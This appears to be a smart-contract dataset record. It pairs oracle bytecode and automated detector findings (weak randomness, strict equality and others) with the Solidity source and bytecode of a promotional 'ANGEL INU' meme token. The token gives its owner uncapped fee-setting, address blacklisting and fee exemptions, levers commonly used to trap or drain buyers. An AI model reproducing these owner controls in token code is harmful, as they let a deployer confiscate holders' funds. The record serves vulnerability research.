018260800151600481111561237b57fe5b141561238c575060a0810151610506565b60008260800151600481111561239e57fe5b1415610506576000600860006040516020016123b990612f19565b604051602081830303815290604052805190602001208152602001908152602001600020549050600081116124005760405162461bcd60e51b815260040161069a906134cb565b670de0b6b3a7640000612417828560a00151612427565b8161241e57fe5b04915050610506565b6000826124365750600061065f565b8282028284828161244357fe5b0414611e6e5760405162461bcd60e51b815260040161069a906131d0565b600080826001600160a01b0316846001600160a01b031614156124965760405162461bcd60e51b815260040161069a90613207565b826001600160a01b0316846001600160a01b0316106124b65782846124b9565b83835b90925090506001600160a01b0382166124e45760405162461bcd60e51b815260040161069a90613573565b9250929050565b63ffffffff421690565b60008060008061250486612675565b9250925092508042116125295760405162461bcd60e51b815260040161069a90613327565b42819003612535612815565b6040518060200160405280838688038161254b57fe5b046001600160e01b03168152509050600061256582612788565b90506000612573828a612427565b90506000670de0b6b3a76400008061258f848e60600151612427565b8161259657fe5b048161259e57fe5b0490507ff63d078e0de851897107641e96093a59e5ddc3c25e7b85a2585e3eba9e774a7b8c8288426040516125d694939291906130ab565b60405180910390a19b9a5050505050505050505050565b6000821561266c5760008261260a85670de0b6b3a7640000612427565b8161261157fe5b0490507f00000000000000000000000000000000000000000000000010a741a462780000811115801561266457507f0000000000000000000000000000000000000000000000000b1a2bc2ec5000008110155b91505061065f565b50600092915050565b60008060008084604001519050600061268d86612139565b9050612697612827565b506000828152600b6020908152604091829020825180840190935280548084526001909101549183019190915242037f000000000000000000000000000000000000000000000000000000000000070881106127635781516000858152600a602090815260408083209384558186018051600195860155600b909252918290204280825593018690558a82015185519151925190937fe37d39315e3419c0937360f1ac88f2c52ecf67e3b22b367f82047ddb4591904a9361275a9392899061372e565b60405180910390a25b50506000918252600a6020526040909120600181015490549196909550909350915050565b516612725dd1d243ab6001600160e01b039091160490565b6040805161010081018252600080825260208201819052918101829052606081018290529060808201905b81526000602082018190526040820181905260609091015290565b6040805161010081018252600080825260208201819052918101829052606081018290529060808201906127cb565b60408051602081019091526000815290565b604051806040016040528060008152602001600081525090565b803561065f8161380b565b805161065f8161380b565b60008083601f840112612868578182fd5b50813567ffffffffffffffff81111561287f578182fd5b60208301915083602080830285010111156124e457600080fd5b803561065f81613823565b805161065f81613823565b600082601f8301126128bf578081fd5b81356128d26128cd826137b7565b613790565b91508082528360208285010111156128e957600080fd5b8060208401602084013760009082016020015292915050565b80356005811061065f57600080fd5b80516003811061065f57600080fd5b600082601f830112612930578081fd5b815161293e6128cd826137b7565b915080825283602082850101111561295557600080fd5b6129668160208401602086016137db565b5092915050565b60006020828403121561297e578081fd5b8135611e6e8161380b565b600080600080600080600080610100898b0312156129a5578384fd5b88356129b08161380b565b975060208901356129c08161380b565b965060408901359550606089013594506080890135600581106129e1578485fd5b935060a0890135925060c08901356129f88161380b565b915060e0890135612a0881613823565b809150509295985092959890939650565b60008060008060008060608789031215612a31578384fd5b863567ffffffffffffffff80821115612a48578586fd5b612a548a838b01612857565b90985096506020890135915080821115612a6c578586fd5b612a788a838b01612857565b90965094506040890135915080821115612a90578384fd5b50612a9d89828a01612857565b979a9699509497509295939492505050565b600060208284031215612ac0578081fd5b5035919050565b600080600060608486031215612adb578081fd5b8351925060208401519150604084015160ff81168114612af9578182fd5b809150509250925092565b60008060408385031215612b16578182fd5b823567ffffffffffffffff80821115612b2d578384fd5b612b39868387016128af565b93506020850135915080821115612b4e578283fd5b50612b5b858286016128af565b9150509250929050565b600060208284031215612b76578081fd5b813567ffffffffffffffff811115612b8c578182fd5b612b98848285016128af565b949350505050565b600060208284031215612bb1578081fd5b815167ffffffffffffffff811115612bc7578182fd5b612b9884828501612920565b60008060408385031215612be5578182fd5b825167ffffffffffffffff811115612bfb578283fd5b612c0785828601612920565b9250506020830151612c188161380b565b809150509250929050565b6000610100808385031215612c36578182fd5b612c3f81613790565b83359150612c4c8261380b565b908152602083013590612c5e8261380b565b8160208201526040840135604082015260608401356060820152612c858560808601612902565b608082015260a084013560a0820152612ca18560c08601612841565b60c0820152612cb38560e08601612899565b60e0820152949350505050565b6000610100808385031215612cd3578182fd5b612cdc81613790565b83519150612ce98261380b565b908152602083015190612cfb8261380b565b8160208201526040840151604082015260608401516060820152612d228560808601612911565b608082015260a084015160a0820152612d3e8560c0860161284c565b60c0820152612cb38560e086016128a4565b600080600060608486031215612d64578081fd5b8351612d6f81613831565b6020850151909350612d8081613831565b604085015190925063ffffffff81168114612af9578182fd5b600060208284031215612daa578081fd5b5051919050565b600060208284031215612dc2578081fd5b815167ffffffffffffffff81168114611e6e578182fd5b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b60058110612e0d57fe5b9052565b60008151808452612e298160208601602086016137db565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff19606093841b811682529190921b16601482015260280190565b60008251612e768184602087016137db565b9190910192915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b65726f7461746560d01b815260060190565b6001600160f81b0319815260609290921b6bffffffffffffffffffffffff1916600183015260158201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f603582015260550190565b6208aa8960eb1b815260030190565b621350d160ea1b815260030190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03898116825288811660208301526040820188905260608201879052610100820190612f9b6080840188612e03565b8560a084015280851660c08401525082151560e08301529998505050505050505050565b6001600160a01b0384168152604060208201819052600090612fe49083018486612dd9565b95945050505050565b901515815260200190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b600060408252613033604083018688612dd9565b8281036020840152613046818587612dd9565b979650505050505050565b600060208252611e6e6020830184612e11565b6000604082526130776040830185612e11565b90508260208301529392505050565b6000606082526130996060830186612e11565b60208301949094525060400152919050565b6000608082526130be6080830187612e11565b6020830195909552506040810192909252606090910152919050565b60208082526019908201527f63616c6c6572206973206e6f7420746865204b61707461696e00000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f62617365556e6974206d7573742062652067726561746572207468616e207a65604082015261726f60f01b606082015260800190565b6020808252601e908201527f4d434420707269636520676f657320746f20706f73744d636450726963650000604082015260600190565b60208082526017908201527f6d756c7469706c69636174696f6e206f766572666c6f77000000000000000000604082015260600190565b60208082526025908201527f556e697377617056324c6962726172793a204944454e544943414c5f41444452604082015264455353455360d81b606082015260800190565b60208082526030908201527f696e76616c69646174696f6e206d657373616765206d75737420636f6d65206660408201526f3937b6903a3432903932b837b93a32b960811b606082015260800190565b6020808252600c908201526b39b0b6b29035b0b83a30b4b760a11b604082015260600190565b6020808252601f908201527f6f6e6c79207265706f72746572207072696365732067657420706f7374656400604082015260600190565b6020808252601490820152731c995c1bdc9d195c881a5b9d985b1a59185d195960621b604082015260600190565b6020808252601a908201527f6e6f77206d75737420636f6d65206166746572206265666f7265000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600990820152681b9bdd08199bdd5b9960ba1b604082015260600190565b6020808252600d908201526c39b0b6b2903932b837b93a32b960991b604082015260600190565b60208082526015908201527404d43442070726963652063616e6e6f74206265203605c1b604082015260600190565b6020808252818101527f696e76616c6964206d657373616765206d7573742062652027726f7461746527604082015260600190565b60208082526028908201527f6b546f6b656e436f6e66696720756e6973776170206d61726b657420636865636040820152671ac819985a5b195960c21b606082015260800190565b60208082526022908201527f746f6b656e20636f6e666967206e6f7420666f756e6420696e20636f6d706f756040820152611b9960f21b606082015260800190565b6020808252602c908201527f455448207072696365206e6f74207365742c2063616e6e6f7420636f6e76657260408201526b7420746f20646f6c6c61727360a01b606082015260800190565b6040808252600390820152621350d160ea1b6060820152602081019190915260800190565b6020808252601a908201527f707269636573206d757374206861766520616e20616e63686f72000000000000604082015260600190565b6020808252601e908201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604082015260600190565b60208082526024908201527f6b546f6b656e436f6e6669672070616972206f7264657220636865636b2066616040820152631a5b195960e21b606082015260800190565b60208082526023908201527f6d6573736167657320616e64207369676e617475726573206d75737420626520604082015262313a3160e81b606082015260800190565b60208082526017908201527f4669786564506f696e743a204449565f42595f5a45524f000000000000000000604082015260600190565b60208082526026908201527f6f6e6c79207265706f7274656420707269636573207574696c697a6520616e2060408201526530b731b437b960d11b606082015260800190565b60006101008201905060018060a01b03808451168352806020850151166020840152604084015160408401526060840151606084015260808401516136f66080850182612e03565b5060a084015160a08401528060c08501511660c08401525060e0830151151560e083015292915050565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b6000808335601e1984360301811261375f578283fd5b8084018035925067ffffffffffffffff83111561377a578384fd5b602001925050368190038213156124e457600080fd5b60405181810167ffffffffffffffff811182821017156137af57600080fd5b604052919050565b600067ffffffffffffffff8211156137cd578081fd5b50601f01601f191660200190565b60005b838110156137f65781810151838201526020016137de565b83811115613805576000848401525b50505050565b6001600160a01b038116811461382057600080fd5b50565b801515811461382057600080fd5b6001600160701b038116811461382057600080fdfea26469706673582212200df347f1b40fb58323542531fb3b61c56f66ff0cc88288e68ef61f580aaa8b7e64736f6c634300060a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2581, 21472, 24434, 24096, 19961, 2063, 2487, 10354, 2549, 4246, 24434, 2050, 28311, 2620, 19961, 2549, 2094, 28311, 2063, 21926, 22022, 2050, 2620, 2050, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2184, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1013, 2330, 6525, 14321, 18098, 6610, 2850, 2696, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 24582, 25377, 28819, 6525, 14321, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3976, 8663, 8873, 2290, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 4895, 2483, 4213, 15042, 2239, 8873, 2290, 1012, 14017, 1000, 1025, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,841
0x97776fcf405c2c4a534d14204b4b997a173ef4e6
/** _ _ _____ ______ _ _____ _ _ _ _ /\ | \ | |/ ____| ____| | |_ _| \ | | | | | / \ | \| | | __| |__ | | | | | \| | | | | / /\ \ | . ` | | |_ | __| | | | | | . ` | | | | / ____ \| |\ | |__| | |____| |____ _| |_| |\ | |__| | /_/ \_\_| \_|\_____|______|______| |_____|_| \_|\____/ Website: www.angelinu.net Telegram: https://t.me/AngelInuPortal ✨ Initial liquidity: 5 ETH ✨ Anti-Bot / Anti-Snipe: Activated - bots will be blacklisted ✨100% STEALTHLAUNCH, NOBODY KNOWS. ✨ Max Wallet 2% / Max Tx 1% ✨ 12% on buys and sells at launch, then lowered to 5% */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AngelInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ANGEL INU"; string private constant _symbol = "ANGEL INU"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0xBd63a807cefafA46B6EC30DB94aaE168806e99cB); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10000000 * 10**9; //1 uint256 public _maxWalletSize = 20000000 * 10**9; //2 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610532578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b806395d89b41146101fe57806398a5c315146104c2578063a9059cbb146104e2578063bfd792841461050257600080fd5b80638da5cb5b116100d15780638da5cb5b146104595780638eb59a5f146104775780638f70ccf71461048c5780638f9a55c0146104ac57600080fd5b8063715018a61461040e57806374010ece146104235780637d1db4a51461044357600080fd5b80632fd689e31161016f578063672434821161013e57806367243482146103785780636b999053146103985780636d8aa8f8146103b857806370a08231146103d857600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e14610338578063658d4b7f1461035857600080fd5b80630b78f9c0116101ab5780630b78f9c01461026f5780631694505e1461028f57806318160ddd146102c757806323b872dd146102e657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c30565b6105cd565b005b34801561020a57600080fd5b506040805180820182526009815268414e47454c20494e5560b81b602082015290516102369190611d77565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611b9c565b61067a565b6040519015158152602001610236565b34801561027b57600080fd5b506101fc61028a366004611d29565b610691565b34801561029b57600080fd5b50600c546102af906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102d357600080fd5b506005545b604051908152602001610236565b3480156102f257600080fd5b5061025f610301366004611b28565b6106c6565b34801561031257600080fd5b506102d860105481565b34801561032857600080fd5b5060405160098152602001610236565b34801561034457600080fd5b50600d546102af906001600160a01b031681565b34801561036457600080fd5b506101fc610373366004611b68565b61072f565b34801561038457600080fd5b506101fc610393366004611bc7565b610784565b3480156103a457600080fd5b506101fc6103b3366004611ab8565b610838565b3480156103c457600080fd5b506101fc6103d3366004611cf7565b610883565b3480156103e457600080fd5b506102d86103f3366004611ab8565b6001600160a01b031660009081526001602052604090205490565b34801561041a57600080fd5b506101fc6108cb565b34801561042f57600080fd5b506101fc61043e366004611d11565b610901565b34801561044f57600080fd5b506102d8600e5481565b34801561046557600080fd5b506000546001600160a01b03166102af565b34801561048357600080fd5b506101fc610930565b34801561049857600080fd5b506101fc6104a7366004611cf7565b61097b565b3480156104b857600080fd5b506102d8600f5481565b3480156104ce57600080fd5b506101fc6104dd366004611d11565b6109c3565b3480156104ee57600080fd5b5061025f6104fd366004611b9c565b6109f2565b34801561050e57600080fd5b5061025f61051d366004611ab8565b600a6020526000908152604090205460ff1681565b34801561053e57600080fd5b506101fc6109ff565b34801561055357600080fd5b506102d8610562366004611af0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611d11565b610a45565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a74565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611dca565b60405180910390fd5b60005b8151811015610676576001600a600084848151811061063257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066e81611edd565b915050610603565b5050565b6000610687338484610b8f565b5060015b92915050565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016105f790611dca565b600691909155600755565b60006106d3848484610cb3565b610725843361072085604051806060016040528060288152602001611f3a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611285565b610b8f565b5060019392505050565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ae5760405162461bcd60e51b81526004016105f790611dca565b60005b838110156108315761081e338686848181106107dd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107f29190611ab8565b85858581811061081257634e487b7160e01b600052603260045260246000fd5b905060200201356112bf565b508061082981611edd565b9150506107b1565b5050505050565b6000546001600160a01b031633146108625760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105f790611dca565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016105f790611dca565b6108ff60006113a5565b565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f790611dca565b600e55565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016105f790611dca565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016105f790611dca565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ed5760405162461bcd60e51b81526004016105f790611dca565b601055565b6000610687338484610cb3565b6000546001600160a01b03163314610a295760405162461bcd60e51b81526004016105f790611dca565b30600090815260016020526040902054610a42816113f5565b50565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016105f790611dca565b600f55565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b038116610b035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600060046000610b1b6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b4c816113a5565b600160046000610b646000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6001600160a01b03821660009081526004602052604090205460ff16158015610e1d57506001600160a01b03831660009081526004602052604090205460ff16155b1561116057600d54600160a01b900460ff16610e7b5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f74207965742073746172746564000060448201526064016105f7565b600e54811115610ecd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f0f57506001600160a01b0382166000908152600a602052604090205460ff16155b610f675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b600d546001600160a01b038381169116146110d557600d546001600160a01b038481169116148015610fa25750600d54600160b81b900460ff165b1561104f57326000908152600260205260409020544290610fc49060b4611e6f565b108015610ff457506001600160a01b0382166000908152600260205260409020544290610ff29060b4611e6f565b105b61104f5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820